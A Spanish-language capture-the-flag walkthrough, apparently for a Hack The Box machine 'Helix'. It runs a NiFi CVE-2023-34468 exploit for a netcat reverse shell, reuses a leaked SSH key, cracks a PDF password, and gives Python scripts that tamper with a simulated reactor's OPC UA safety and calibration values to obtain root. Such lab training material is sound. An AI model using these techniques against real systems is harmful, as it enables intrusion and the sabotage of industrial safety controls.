😐

[ noØfunny ]

Helix

Helix

Enumeration

Escaneamos todos los puertos para ver cuáles están abiertos y qué servicios corren en ellos.

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 10.129.99.140
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Escaneamos los puertos abiertos para conocer más detalles de los servicios que corren en ellos.

nmap -p 22,80 -sCV -oA nmap/openports 10.129.99.140
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Agregamos el dominio helix.htb al archivo /etc/hosts.

echo '10.129.99.140 helix.htb' | sudo tee -a /etc/hosts

Enumeramos subdominios.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://helix.htb/ -H 'Host: FUZZ.helix.htb' -ic -c -t 100 -fs 154
flow                    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 243ms]

Agregamos el subdominio flow.helix.htb al archivo /etc/hosts.

Visitamos el subdominio y nos encontramos con la versión nifi-1.21.0-RC2.

Subdomain Apache Nifi

Esta versión es vulnerable a una ejecución de código (https://nvd.nist.gov/vuln/detail/cve-2023-34468).

Exploitation

El siguiente POC permite automatizar el proceso CVE-2023-34468 — Apache NiFi 1.21.0 RCE PoC.

Nos ponemos en escucha en la máquina atacante.

nc -lnvp 1111
sudo python3 exploit.py --target http://flow.helix.htb --lhost 10.10.15.177 --lport 1111

Estabilizamos la reverse shell.

Lateral Movement

Listamos el directorio actual y encontramos dentro del directorio support-bundles una clave ssh del usuario operator.

ls -la
total 380
drwxrwxr-x   16 nifi nifi   4096 May  5 10:18 .
drwxr-xr-x    4 root root   4096 Jan 25  2026 ..
drwxrwxr-x    2 nifi nifi   4096 May  5 10:18 bin
drwxrwxr-x    3 nifi nifi   4096 Aug 11 00:03 conf
drwxrwxr-x 1026 nifi nifi  20480 May  5 10:18 content_repository
drwxrwxr-x    2 nifi nifi   4096 May  5 10:18 database_repository
drwxrwxr-x    3 nifi nifi   4096 May  5 10:18 docs
drwxrwxr-x    2 nifi nifi   4096 May  5 10:18 extensions
drwxrwxr-x    4 nifi nifi   4096 Aug 11 00:01 flowfile_repository
drwxrwx---    6 nifi nifi  12288 May  5 10:18 lib
-rw-r--r--    1 nifi nifi 175405 Apr  3  2023 LICENSE
drwxrwxr-x    2 nifi nifi   4096 Aug 11 00:03 logs
lrwxrwxrwx    1 nifi nifi     16 Jan 24  2026 nifi-1.21.0 -> /opt/nifi-1.21.0
-rw-r--r--    1 nifi nifi 110857 Apr  3  2023 NOTICE
drwxrwxr-x    3 nifi nifi   4096 May  5 10:18 provenance_repository
-rw-r--r--    1 nifi nifi   4935 Apr  3  2023 README
drwxrwxr-x    2 nifi nifi   4096 Aug 11 00:00 run
drwxrwxr-x    3 nifi nifi   4096 May  5 10:18 state
drwxr-x---    2 nifi nifi   4096 May  5 10:18 support-bundles
drwxrwxr-x    5 nifi nifi   4096 Aug 11 00:01 work
cd support-bundles/
ls -la
total 12
drwxr-x---  2 nifi nifi 4096 May  5 10:18 .
drwxrwxr-x 16 nifi nifi 4096 May  5 10:18 ..
-rw-r-----  1 nifi nifi  411 Jan 25  2026 operator_id_ed25519.bak
cat operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

Copiamos la clave en nuestra máquina atacante y nos conectamos por ssh.

ssh -i operator_ed25519 operator@helix.htb

Listamos el directorio del usuario operator.

ls -la
total 968
drwxr-x--- 5 operator operator   4096 May  5 10:18  .
drwxr-xr-x 3 root     root       4096 May  5 10:18  ..
lrwxrwxrwx 1 root     root          9 Apr 20 10:14  .bash_history -> /dev/null
-rw-r--r-- 1 operator operator    220 Jan  6  2022  .bash_logout
-rw-r--r-- 1 operator operator   3771 Jan  6  2022  .bashrc
drwx------ 3 operator operator   4096 May  5 10:18  .cache
-rw------- 1 operator operator 920611 Jan 26  2026 'control systems diagram.png'
drwxrwxr-x 5 operator operator   4096 May  5 10:18  .local
lrwxrwxrwx 1 root     root          9 Jan 26  2026  .mysql_history -> /dev/null
-rw-rw-r-- 1 operator operator  28453 Apr 16 08:50 'Operator Control & Safety Guide.pdf'
-rw-r--r-- 1 operator operator    807 Jan  6  2022  .profile
drwx------ 2 operator operator   4096 May  5 10:18  .ssh
-rw-r----- 1 root     operator     33 Aug 11 00:01  user.txt
lrwxrwxrwx 1 root     root          9 Jan 26  2026  .viminfo -> /dev/null

Leemos la flag del user.

User flag

User flag

c******************************6

Privilege Escalation

Levantamos un servidor en la máquina víctima para descargar desde la atacante los archivo control systems diagram.png y Operator Control & Safety Guide.pdf.

python3 -m http.server
wget 'http://10.129.245.123:8000/control systems diagram.png'
wget 'http://10.129.245.123:8000/Operator Control & Safety Guide.pdf'

control systems diagram.png

Helix Control Systems Diagram

Para abrir el archivo PDF necesitamos crackear la contraseña.

pdf2john Operator\ Control\ \&\ Safety\ Guide.pdf > pdf.hash
john -w=/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt pdf.hash
john pdf.hash --show
Operator Control & Safety Guide.pdf:operator1

El usuario operator puede ejecutar el siguiente comando.

sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

Leemos el contenido del binario.

cat /usr/local/sbin/helix-maint-console
#!/bin/bash
set -euo pipefail

FLAG="/opt/helix/state/maintenance_window"

read_until() { cat "$FLAG" 2>/dev/null || true; }

window_ok() {
  [ -f "$FLAG" ] || return 1
  local until_ts now
  until_ts="$(read_until)"
  now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1
  return 0
}

if ! window_ok; then
  echo "Maintenance window CLOSED."
  exit 1
fi

until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))

echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"

# Unique scope name
SCOPE="helix-maint-$$"

# Launch an interactive root shell attached to THIS TTY, in its own systemd scope
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
  /bin/bash -p -i

# If systemd-run returns, the shell exited.
exit 0

El script valida si hay una ventana de mantenimiento activa antes de iniciar una sesión interactiva con privilegios.

Listamos los puertos TCP que están escuchando conexiones.

ss -tpnl
State           Recv-Q          Send-Q                        Local Address:Port                      Peer Address:Port          Process
LISTEN          0               4096                          127.0.0.53%lo:53                             0.0.0.0:*
LISTEN          0               50                                127.0.0.1:8080                           0.0.0.0:*              users:(("java",pid=1088,fd=41))
LISTEN          0               128                               127.0.0.1:8081                           0.0.0.0:*
LISTEN          0               100                               127.0.0.1:4840                           0.0.0.0:*
LISTEN          0               511                                 0.0.0.0:80                             0.0.0.0:*
LISTEN          0               128                                 0.0.0.0:22                             0.0.0.0:*
LISTEN          0               50                                127.0.0.1:39469                          0.0.0.0:*              users:(("java",pid=1088,fd=79))
LISTEN          0               50                       [::ffff:127.0.0.1]:44379                                *:*              users:(("java",pid=1053,fd=57))
LISTEN          0               128                                    [::]:22                                [::]:*

Hacemos port forwarding del puerto 4840.

ssh -i operator_ed25519 -L 4840:127.0.0.1:4840 operator@helix.htb

opc_enum.py

import sys
from opcua import Client

SERVER_URL = "opc.tcp://127.0.0.1:4840"
OUTPUT_FILE = "opc_recon.txt"

client = Client(SERVER_URL)

try:
    print(f"[*] Connecting to {SERVER_URL}...")
    client.connect()
    print("[+] Connected successfully!")
except Exception as e:
    print(f"[-] Connection failed: {e}")
    sys.exit(1)

log = open(OUTPUT_FILE, "w", encoding="utf-8")

def enum_nodes(node, level=0, max_depth=4):
    try:
        browse_name = node.get_browse_name().Name
        nodeid = node.nodeid
        node_class = node.get_node_class()

        system_noise = [
            "Server", "Aliases", "Dictionaries", "Quantities",
            "DefaultHAConfiguration", "DefaultHEConfiguration",
            "PublishSubscribe", "ServerConfiguration"
        ]
        if browse_name in system_noise:
            return

        value_data = ""
        if str(node_class) == "NodeClass.Variable":
            try:
                val = node.get_value()
                value_data = f" ===> [Value: {val}]"
            except Exception:
                value_data = " ===> [Access Denied / Unreadable]"

        output_line = "  " * level + f"[{node_class.name}] {browse_name} ({nodeid}){value_data}"

        print(output_line)
        log.write(output_line + "\n")

        if level >= max_depth:
            return

        children = node.get_children()
        for child in children:
            enum_nodes(child, level + 1, max_depth)

    except Exception:
        pass

print(f"[*] Enumerating Address Space... Saving to {OUTPUT_FILE}")
print("-" * 60)

root = client.get_root_node()
enum_nodes(root)

print("-" * 60)
print("[+] Enumeration finished.")

log.close()
client.disconnect()
print("[*] Disconnected from server.")
python3 opc_enum.py
[*] Connecting to opc.tcp://127.0.0.1:4840...
[+] Connected successfully!
[*] Enumerating Address Space... Saving to opc_recon.txt
------------------------------------------------------------
[Object] Root (TwoByteNodeId(i=84))
  [Object] Objects (NumericNodeId(i=85))
    [Object] Locations (NumericNodeId(i=31915))
    [Object] Plant (FourByteNodeId(ns=2;i=1))
      [Object] Reactor (FourByteNodeId(ns=2;i=2))
        [Variable] TemperatureRaw (FourByteNodeId(ns=2;i=3))
        [Variable] Temperature (FourByteNodeId(ns=2;i=4))
        [Variable] Pressure (FourByteNodeId(ns=2;i=5))
        [Variable] CalibrationOffset (FourByteNodeId(ns=2;i=6))
      [Object] Safety (FourByteNodeId(ns=2;i=7))
        [Variable] RodsInserted (FourByteNodeId(ns=2;i=8))
        [Variable] EmergencyCooling (FourByteNodeId(ns=2;i=9))
        [Variable] TripActive (FourByteNodeId(ns=2;i=10))
      [Object] Control (FourByteNodeId(ns=2;i=11))
        [Variable] Mode (FourByteNodeId(ns=2;i=12))
        [Variable] TestOverride (FourByteNodeId(ns=2;i=13))
        [Variable] ResetTrip (FourByteNodeId(ns=2;i=14))
  [Object] Types (NumericNodeId(i=86))
    [Object] ObjectTypes (NumericNodeId(i=88))
      [ObjectType] BaseObjectType (NumericNodeId(i=58))
    [Object] VariableTypes (NumericNodeId(i=89))
      [VariableType] BaseVariableType (NumericNodeId(i=62))
        [VariableType] BaseDataVariableType (NumericNodeId(i=63))
        [VariableType] PropertyType (NumericNodeId(i=68))
    [Object] DataTypes (NumericNodeId(i=90))
      [Object] XML Schema (NumericNodeId(i=92))
        [Variable] Opc.Ua (NumericNodeId(i=8252))
      [Object] OPC Binary (NumericNodeId(i=93))
        [Variable] Opc.Ua (NumericNodeId(i=7617))
      [DataType] BaseDataType (NumericNodeId(i=24))
        [DataType] Number (NumericNodeId(i=26))
        [DataType] Enumeration (NumericNodeId(i=29))
        [DataType] Boolean (NumericNodeId(i=1))
        [DataType] String (NumericNodeId(i=12))
        [DataType] DateTime (NumericNodeId(i=13))
        [DataType] Guid (NumericNodeId(i=14))
        [DataType] ByteString (NumericNodeId(i=15))
        [DataType] XmlElement (NumericNodeId(i=16))
        [DataType] NodeId (NumericNodeId(i=17))
        [DataType] ExpandedNodeId (NumericNodeId(i=18))
        [DataType] StatusCode (NumericNodeId(i=19))
        [DataType] QualifiedName (NumericNodeId(i=20))
        [DataType] LocalizedText (NumericNodeId(i=21))
        [DataType] Structure (NumericNodeId(i=22))
        [DataType] DataValue (NumericNodeId(i=23))
        [DataType] DiagnosticInfo (NumericNodeId(i=25))
        [DataType] RsaEncryptedSecret (NumericNodeId(i=17545))
        [DataType] EccEncryptedSecret (NumericNodeId(i=17546))
    [Object] ReferenceTypes (NumericNodeId(i=91))
      [ReferenceType] References (NumericNodeId(i=31))
        [ReferenceType] NonHierarchicalReferences (NumericNodeId(i=32))
        [ReferenceType] HierarchicalReferences (NumericNodeId(i=33))
    [Object] EventTypes (NumericNodeId(i=3048))
      [ObjectType] BaseEventType (NumericNodeId(i=2041))
        [Variable] EventId (NumericNodeId(i=2042))
        [Variable] EventType (NumericNodeId(i=2043))
        [Variable] SourceNode (NumericNodeId(i=2044))
        [Variable] SourceName (NumericNodeId(i=2045))
        [Variable] Time (NumericNodeId(i=2046))
        [Variable] ReceiveTime (NumericNodeId(i=2047))
        [Variable] LocalTime (NumericNodeId(i=3190))
        [Variable] Message (NumericNodeId(i=2050))
        [Variable] Severity (NumericNodeId(i=2051))
        [Variable] ConditionClassId (NumericNodeId(i=31771))
        [Variable] ConditionClassName (NumericNodeId(i=31772))
        [Variable] ConditionSubClassId (NumericNodeId(i=31773))
        [Variable] ConditionSubClassName (NumericNodeId(i=31774))
        [ObjectType] AuditEventType (NumericNodeId(i=2052))
        [ObjectType] SystemEventType (NumericNodeId(i=2130))
        [ObjectType] BaseModelChangeEventType (NumericNodeId(i=2132))
        [ObjectType] SemanticChangeEventType (NumericNodeId(i=2738))
        [ObjectType] EventQueueOverflowEventType (NumericNodeId(i=3035))
        [ObjectType] ProgressEventType (NumericNodeId(i=11436))
        [ObjectType] TransitionEventType (NumericNodeId(i=2311))
        [ObjectType] ConditionType (NumericNodeId(i=2782))
    [Object] InterfaceTypes (NumericNodeId(i=17708))
      [ObjectType] BaseInterfaceType (NumericNodeId(i=17602))
        [ObjectType] IOrderedObjectType (NumericNodeId(i=23513))
        [ObjectType] IIetfBaseNetworkInterfaceType (NumericNodeId(i=24148))
        [ObjectType] IIeeeBaseEthernetPortType (NumericNodeId(i=24158))
        [ObjectType] IIeeeAutoNegotiationStatusType (NumericNodeId(i=24233))
        [ObjectType] IBaseEthernetCapabilitiesType (NumericNodeId(i=24167))
        [ObjectType] IVlanIdType (NumericNodeId(i=25218))
        [ObjectType] ISrClassType (NumericNodeId(i=24169))
        [ObjectType] IIeeeBaseTsnStreamType (NumericNodeId(i=24173))
        [ObjectType] IIeeeBaseTsnTrafficSpecificationType (NumericNodeId(i=24179))
        [ObjectType] IIeeeBaseTsnStatusStreamType (NumericNodeId(i=24183))
        [ObjectType] IIeeeTsnInterfaceConfigurationType (NumericNodeId(i=24188))
        [ObjectType] IIeeeTsnMacAddressType (NumericNodeId(i=24199))
        [ObjectType] IIeeeTsnVlanTagType (NumericNodeId(i=24202))
        [ObjectType] IPriorityMappingEntryType (NumericNodeId(i=24205))
  [Object] Views (NumericNodeId(i=87))
------------------------------------------------------------
[+] Enumeration finished.
[*] Disconnected from server.
from opcua import Client
import time

client = Client("opc.tcp://127.0.0.1:4840")

try:
    client.connect()

    # Nodes
    mode_node = client.get_node("ns=2;i=12")
    override_node = client.get_node("ns=2;i=13")
    calibration_node = client.get_node("ns=2;i=6")
    temp_node = client.get_node("ns=2;i=4")

    #1. Set maintenance mode
    mode_node.set_value("MAINTENANCE")
    print("Mode set to:", mode_node.get_value())

    # 2. Enable override
    override_node.set_value(True)
    print("TestOverride set to:", override_node.get_value())


    # 3. Increase calibration offset gradually
    calibrations = [0.0, 2.5, 5.0, 7.5, 10.0, 12.5, 15.0, 17.5, 20.0]

    for value in calibrations:
        calibration_node.set_value(value)

        print(f"CalibrationOffset set to: {value}")

        temperature = temp_node.get_value()
        print(f"Current Temperature: {temperature}")

        # Check maintenance window condition
        if temperature >= 295:
            print("[+] Maintenance window reached")
            break

        # Wait between steps
        time.sleep(1)

finally:
    client.disconnect()
python3 opc_exploit.py
[*] Connecting to opc.tcp://127.0.0.1:4840...
[+] Connected successfully!
[*] Setting Mode to MAINTENANCE...
[+] Current Mode: MAINTENANCE
[*] Enabling Test Override...
[+] TestOverride status: True
[*] Starting gradual calibration offset adjustments...
 -> CalibrationOffset updated to: 0.0
    Current Temperature: 284.0299918974837°C
 -> CalibrationOffset updated to: 2.5
    Current Temperature: 284.05849230260947°C
 -> CalibrationOffset updated to: 5.0
    Current Temperature: 286.61128930310497°C
 -> CalibrationOffset updated to: 7.5
    Current Temperature: 289.1357248379497°C
 -> CalibrationOffset updated to: 10.0
    Current Temperature: 294.18099166624955°C
 -> CalibrationOffset updated to: 12.5
    Current Temperature: 294.201942082937°C
 -> CalibrationOffset updated to: 15.0
    Current Temperature: 299.20598111054557°C
[+] Target condition reached! Triggering final stage.
[*] Disconnected from server.
sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 102 seconds
[!] Session will be terminated automatically
cd
ls
root.txt  snap
cat root.txt

Root flag

Root flag

0******************************7